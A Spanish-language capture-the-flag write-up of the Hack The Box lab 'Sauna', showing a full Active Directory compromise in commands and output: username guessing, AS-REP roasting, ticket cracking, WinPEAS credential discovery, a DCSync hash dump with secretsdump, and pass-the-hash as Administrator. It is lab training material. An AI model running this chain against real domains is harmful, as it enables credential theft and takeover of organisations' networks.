HTB Sauna
Resumen
Sauna es un directorio activo increíble para practicar una gran variedad de temas. Al iniciar, no hay casi ninguna ruta de ataque clara, sin embargo, cuenta con la web de un banco donde se presentan a los miembros del equipo. Con esto en mente, se puede crear un diccionario de nombres que pueden pertenecer al dominio. Gracias a esto, se encuentra un usuario, el cual será nuestro vector inicial para realizar un AS-REP Roasting y conseguir su ticket. Con esto en mente, solo hace falta romper el ticket para conseguir la contraseña y poder autenticarnos dentro del dominio.
En este punto, se puede usar BloodHound para mapear el dominio y ver un posible path de ataque. Aunque no se ve una ruta clara desde nuestro usuario, se ve que hay un usuario que cuenta con privilegios DCSync sobre el AD. Sin embargo, aún existe la posibilidad de que haya algo relacionado a esta cuenta dentro de la máquina. Al revisarla con WinPEAS, se ve que las credenciales del usuario que nos interesa se encuentran guardadas dentro de un proceso. Por lo que ahora podríamos autenticarnos como él y dumpear todos los hashes del dominio, consiguiendo privilegios máximos sobre la máquina y dándola por terminada.
Reconocimiento
Para empezar, se realiza un ping para saber si hay conectividad con la máquina.
1
2
3
4
5
6
7
❯ ping 10.129.176.203 -c 1
PING 10.129.176.203 (10.129.176.203) 56(84) bytes of data.
64 bytes from 10.129.176.203: icmp_seq=1 ttl=127 time=173 ms
--- 10.129.176.203 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 172.595/172.595/172.595/0.000 ms
Escaneo de Puertos
Luego se realiza un escaneo de puertos para ver cuáles se encuentran abiertos dentro de la máquina.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
nmap -p- --min-rate 3000 10.129.176.203 -Pn -oG TCPports
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 16:54 EDT
Nmap scan report for 10.129.176.203
Host is up (0.22s latency).
Not shown: 65517 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
80/tcp open http
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
9389/tcp open adws
49667/tcp open unknown
49673/tcp open unknown
49674/tcp open unknown
49676/tcp open unknown
49697/tcp open unknown
Gracias a la información obtenida, se puede realizar un escaneo mucho más profundo para saber qué tecnologías y versiones se están utilizando dentro del que parece ser un Domain Controller.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
nmap -p53,80,88,135,139,389,445,464,593,636,3268,3269,9389,49667,49673,49674,49676,49697 --min-rate 3000 10.129.176.203 -Pn -oA TCPversions -sVC
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-05 16:56 EDT
Stats: 0:00:34 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 77.78% done; ETC: 16:57 (0:00:09 remaining)
Nmap scan report for 10.129.176.203
Host is up (0.18s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-08-06 03:56:48Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
9389/tcp open mc-nmf .NET Message Framing
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49676/tcp open msrpc Microsoft Windows RPC
49697/tcp open msrpc Microsoft Windows RPC
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2024-08-06T03:57:43
|_ start_date: N/A
|_clock-skew: 7h00m04s
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Gracias a esto, sabemos cuál es el nombre del dominio, por lo que hay que registrarlo en el archivo /etc/hosts
y se puede empezar a interactuar con él.
1
2
3
4
5
6
7
127.0.0.1 localhost
127.0.1.1 kali
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
10.129.176.203 EGOTISTICAL-BANK.LOCAL
Enumeración
Web
Al entrar en la web, se puede buscar la página de un banco donde puede haber información interesante o algún camino para obtener información del dominio.
Se pueden usar herramientas como WhatWeb para descubrir qué tecnologías está utilizando la web, con el fin de identificar si hay alguna vulnerable o algún dato interesante.
1
2
❯ whatweb http://10.129.176.203
http://10.129.176.203 [200 OK] Bootstrap, Country[RESERVED][ZZ], Email[example@email.com,info@example.com], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.176.203], Microsoft-IIS[10.0], Script, Title[Egotistical Bank :: Home]
Usuarios
Luego de realizar validaciones como:
- Fuzzing de directorios y archivos
- Enumeración de vhosts y subdominios
- Probar algunas peticiones para ver el comportamiento de la web
No parece haber nada interesante para nosotros como atacantes, por lo que hay que analizar la información que está proporcionando la página. Se puede ver que en la página about.html existe un apartado donde se muestran los nombres de los encargados del banco. Gracias a estos datos, se puede intentar adivinar algún usuario válido dentro del dominio.
1
2
3
4
5
6
Fergus Smith
Shaun Coins
Hugo Bear
Bowie Taylor
Steven Kerb
Sophie Driver
Ahora se puede usar alguna herramienta que intente crear patrones habituales para nombres de dominio, como lo puede ser namemash.py.
1
python3 namemash.py webuser.txt > possibleUsers.txt
Con esta nueva lista de usuarios, podemos hacer uso de la herramienta Kerbrute para enumerar qué usuarios son válidos dentro del dominio. Esto se puede hacer con el siguiente comando:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
kerbrute userenum --dc 10.129.176.203 -d EGOTISTICAL-BANK.LOCAL ./possibleUsers.txt
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 08/05/24 - Ronnie Flathers @ropnop
2024/08/05 17:24:02 > Using KDC(s):
2024/08/05 17:24:02 > 10.129.176.203:88
2024/08/05 17:24:02 > [+] VALID USERNAME: fsmith@EGOTISTICAL-BANK.LOCAL
2024/08/05 17:24:03 > Done! Tested 66 usernames (1 valid) in 1.307 seconds
Explotación
Con esto ya contamos con el usuario fsmith, por lo que podríamos probar si cuenta con alguna propiedad interesante que nos pueda ayudar a ganar acceso dentro del dominio. Vamos a probar si el usuario es vulnerable a un AS-REP Roasting.
Asreproasting
AS-REP Roasting es un ataque en el que se obtienen tickets de autenticación de usuarios sin preautenticación habilitada, para intentar descifrarlos y obtener sus contraseñas.
Para validar esto, podemos hacer uso de Impacket, herramienta a la que le pasaremos la lista de usuarios y veremos si alguno nos devuelve el ticket.
1
2
3
4
5
impacket-GetNPUsers 'EGOTISTICAL-BANK.LOCAL/fsmith' -no-pass -dc-ip 10.129.176.203 -request
Impacket v0.11.0 - Copyright 2023 Fortra
[*] Getting TGT for fsmith
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:dc7ea34bcf581bc2ce5d38b4384e745a$fa60f4d2b55486d5f01bff044775365d7a113967a5a22234e9ada8763a37ab03528a83c39ac8ffcc21b295198994b6710a1b801a4fd93abb09dc0619bfa896f46986a05334da72bc085a69b791ffaf56d0ff1fdb179285606ffbd8106638c563006ec78ff7275205be8b015e97fc08976423fe31b9fbae6ffa422f13c9c55ac9d0ea262ef967faddd4ab0c4f86e3e65bd2f1b9f337e92a22db974abec6d4b1ebfe62153770da8e3cd3660b45bdbc371e2803ae64355f296c81179ac390682b332aefe29196a1f359538b2d5d48ecb0404f1fc31a4ed871a22c16a52d52d4b87335663d60ea5f6b08ea971fbc0019459a2c65fa7d197090ce98c9d472c121bf32
Por último, ahora solo queda romper el ticket. Esto se puede hacer con ayuda de John con el siguiente comando:
1
2
3
4
5
6
7
8
9
john ticket.txt -w=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 128/128 SSE2 4x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23 ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
1g 0:00:00:10 DONE (2024-08-05 17:30) 0.09191g/s 968658p/s 968658c/s 968658C/s Thing..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Como contamos con credenciales, podemos intentar ver a qué servicios tenemos acceso. Esto se puede hacer con ayuda de CrackMapExec. Con esto en mente, podemos hacer uso de los siguientes comandos:
1
2
3
crackmapexec winrm 10.129.176.203 -d "EGOTISTICAL-BANK.LOCAL" -p "Thestrokes23" -u "fsmith"
HTTP 10.129.176.203 5985 10.129.176.203 [*] http://10.129.176.203:5985/wsman
WINRM 10.129.176.203 5985 10.129.176.203 [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23 (Pwn3d!)
1
2
3
crackmapexec smb 10.129.176.203 -d "EGOTISTICAL-BANK.LOCAL" -p "Thestrokes23" -u "fsmith"
SMB 10.129.176.203 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.176.203 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\fsmith:Thestrokes23
Como confirmamos que nuestras credenciales son válidas, nos podemos conectar por WinRM con ayuda de la herramienta Evil-WinRM. Gracias a esto, tendríamos un acceso inicial y ya podríamos buscar la flag de usuario.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
evil-winrm -u "fsmith" -p "Thestrokes23" -i 10.129.176.203
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith
PS C:\Users\FSmith\Documents> hostname
SAUNA
PS C:\Users\FSmith\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::1a4
IPv6 Address. . . . . . . . . . . : dead:beef::b589:85aa:da3a:a3a9
Link-local IPv6 Address . . . . . : fe80::b589:85aa:da3a:a3a9%7
IPv4 Address. . . . . . . . . . . : 10.129.176.203
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:f8ec%7
10.129.0.1
Escalada de Privilegios
Enumeración con Bloodhound
Ahora que nos encontramos dentro de la máquina, vamos a intentar enumerar información dentro de ella para poder escalar privilegios. Esto se puede hacer por varios caminos, como lo son WinPEAS o SharpHound. Vamos a centrarnos en hacer uso de BloodHound para poder hacernos una idea de cómo se encuentra estructurado el dominio, para esto transferimos Sharphound a la máquina para poder obtener el archivo que contiene la información.
1
2
3
4
5
6
7
8
PS C:\Users\FSmith\Documents> upload /home/kali/HTB/Sauna/content/SharpHound.exe
Info: Uploading /home/kali/HTB/Sauna/content/SharpHound.exe to C:\Users\FSmith\Documents\SharpHound.exe
Data: 1395368 bytes of 1395368 bytes copied
Info: Upload successful!
PS C:\Users\FSmith\Documents>
Ahora podemos empezar a enumerar información del dominio con el siguiente comando:
1
2
3
4
5
6
7
.\SharpHound.exe --CollectionMethods All --ZipFileName sauna.zip
...
53 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2024-08-05T21:49:40.2867309-07:00|INFORMATION|SharpHound Enumeration Completed at 9:49 PM on 8/5/2024! Happy Graphing!
Y para terminar, podemos enviar el resultado a nuestra máquina para analizarlos con BloodHound.
1
2
3
4
5
PS C:\Users\FSmith\Documents> download 20240805214939_sauna.zip
Info: Downloading C:\Users\FSmith\Documents\20240805214939_sauna.zip to 20240805214939_sauna.zip
Info: Download successful!
Y al revisar dentro nuestra máquina de atacante podemos ver que se ha creado el archivo:
1
2
ll
.rw-r--r-- kali kali 11 KB Mon Aug 5 17:50:31 2024 20240805214939_sauna.zip
Para poder usar BloodHound, primero debemos lanzar la base de datos Neo4j con el siguiente comando:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
sudo neo4j console
Starting Neo4j.
2024-08-05 00:40:18.090+0000 INFO Starting...
2024-08-05 00:40:19.635+0000 INFO This instance is ServerId{097bb94a} (097bb94a-41f1-4bd5-93e8-40cdaafc54c7)
2024-08-05 00:40:23.235+0000 INFO ======== Neo4j 4.4.26 ========
2024-08-05 00:40:27.491+0000 INFO Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2024-08-05 00:40:27.492+0000 INFO Updating the initial password in component 'security-users'
2024-08-05 00:40:32.844+0000 INFO Bolt enabled on localhost:7687.
2024-08-05 00:40:36.712+0000 INFO Remote interface available at http://localhost:7474/
2024-08-05 00:40:36.727+0000 INFO id: 915257CCD5776E980DCCB9C0CC4FF0A9F542D3987BEEE684FD33641F74F1406E
2024-08-05 00:40:36.728+0000 INFO name: system
2024-08-05 00:40:36.728+0000 INFO creationDate: 2024-07-07T22:21:12.77Z
2024-08-05 00:40:36.728+0000 INFO Started.
Luego de subir el grafo, se debe buscar el usuario sobre el que contamos acceso para luego obtener información sobre cómo podemos realizar un ataque al dominio.
Realmente no parece haber ningún path interesante desde fsmith para poder tomar control del dominio, más allá de escalar privilegios en la máquina a un usuario administrador. Sin embargo, parece que hay un usuario que cuenta con privilegios DCSync sobre el dominio, por lo que, si llegáramos a tener control de su cuenta, se podría usar para comprometer el dominio.
Con eso en mente, puede que dentro de la máquina haya algo que pueda sernos de utilidad para conseguir información o un vector para escalar privilegios dentro del AD.
Enumeración con Winpeas
De la misma manera que con SharpHound, podemos usar Evil-WinRM para transferir el binario hacia la máquina. Con eso en mente, se puede enumerar el equipo para obtener información.
1
2
3
4
5
6
PS C:\Users\FSmith\Documents> upload /home/kali/HTB/Sauna/content/winPEASx64.exe
Info: Uploading /home/kali/HTB/Sauna/content/winPEASx64.exe to C:\Users\FSmith\Documents\winPEASx64.exe
Data: 3183272 bytes of 3183272 bytes copied
Info: Upload successful!
1
PS C:\Users\FSmith\Documents> .\winPeasx64.exe cmd > sauna_winpeas
Ahora, para poder analizar la salida de una forma más clara, se puede transferir el archivo generado a nuestra máquina atacante y buscar información útil.
1
2
3
4
5
PS C:\Users\FSmith\Documents> download sauna_winpeas
Info: Downloading C:\Users\FSmith\Documents\sauna_winpeas to sauna_winpeas
Info: Download successful!
Dentro de la información que retorna WinPEAS, se pueden ver unas credenciales de autologin para un usuario. Podemos utilizarlas para verificar si son válidas dentro del dominio.
1
2
3
4
Some AutoLogon credentials were found
DefaultDomainName : EGOTISTICALBANK
DefaultUserName : EGOTISTICALBANK\svc_loanmanager
DefaultPassword : Moneymakestheworldgoround!
Sin embargo, es importante notar que el usuario no existe dentro del dominio, pero tiene un nombre bastante similar al usuario svc_loanmgr. Por lo que se puede pensar que esas credenciales son para él.
1
2
3
4
5
6
7
net user /domain
User accounts for \\
-------------------------------------------------------------------------------
Administrator FSmith Guest
HSmith krbtgt svc_loanmgr
Pero no es buena idea sacar esa clase de conclusiones sin pruebas. Es mejor probar directamente la contraseña para ver si funciona en más de una cuenta.
1
2
3
4
5
6
7
cat -np adUsers.txt
FSmith
HSmith
krbtgt
Guest
Administrator
svc_loanmgr
Esto de puede hacer con ayuda de CME
con el siguiente comando:
1
2
3
4
5
6
7
8
crackmapexec smb 10.129.176.203 -d "EGOTISTICAL-BANK.LOCAL" -p 'Moneymakestheworldgoround!' -u adUsers.txt
SMB 10.129.176.203 445 SAUNA [*] Windows 10.0 Build 17763 x64 (name:SAUNA) (domain:EGOTISTICAL-BANK.LOCAL) (signing:True) (SMBv1:False)
SMB 10.129.176.203 445 SAUNA [-] EGOTISTICAL-BANK.LOCAL\FSmith:Moneymakestheworldgoround! STATUS_LOGON_FAILURE
SMB 10.129.176.203 445 SAUNA [-] EGOTISTICAL-BANK.LOCAL\HSmith:Moneymakestheworldgoround! STATUS_LOGON_FAILURE
SMB 10.129.176.203 445 SAUNA [-] EGOTISTICAL-BANK.LOCAL\krbtgt:Moneymakestheworldgoround! STATUS_LOGON_FAILURE
SMB 10.129.176.203 445 SAUNA [-] EGOTISTICAL-BANK.LOCAL\Guest:Moneymakestheworldgoround! STATUS_LOGON_FAILURE
SMB 10.129.176.203 445 SAUNA [-] EGOTISTICAL-BANK.LOCAL\Administrator:Moneymakestheworldgoround! STATUS_LOGON_FAILURE
SMB 10.129.176.203 445 SAUNA [+] EGOTISTICAL-BANK.LOCAL\svc_loanmgr:Moneymakestheworldgoround!
Ahora se puede hacer uso de las credenciales del usuario svc_loanmgr para dumpear todos los hashes del dominio y, con eso, poder autenticarse dentro del equipo como usuario administrador.
1
2
3
4
5
6
7
8
9
10
11
12
13
impacket-secretsdump 'EGOTISTICAL-BANK.LOCAL'/'svc_loanmgr':'Moneymakestheworldgoround!'@'10.129.176.203'
Impacket v0.11.0 - Copyright 2023 Fortra
[-] RemoteOperations failed: DCERPC Runtime Error: code: 0x5 - rpc_s_access_denied
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:823452073d75b9d1cf70ebdf86c7f98e:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:7d6d264540e912591febc85f6f5c2441:::
Por último, solo queda hacer uso de Evil-WinRM para conseguir la consola con máximos privilegios y obtener control total.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
evil-winrm -u "administrator" -H "823452073d75b9d1cf70ebdf86c7f98e" -i 10.129.176.203
Evil-WinRM shell v3.5
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> hostname
SAUNA
*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
egotisticalbank\administrator
*Evil-WinRM* PS C:\Users\Administrator\Documents> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
Connection-specific DNS Suffix . : .htb
IPv6 Address. . . . . . . . . . . : dead:beef::1a4
IPv6 Address. . . . . . . . . . . : dead:beef::b589:85aa:da3a:a3a9
Link-local IPv6 Address . . . . . : fe80::b589:85aa:da3a:a3a9%7
IPv4 Address. . . . . . . . . . . : 10.129.176.203
Subnet Mask . . . . . . . . . . . : 255.255.0.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:f8ec%7
10.129.0.1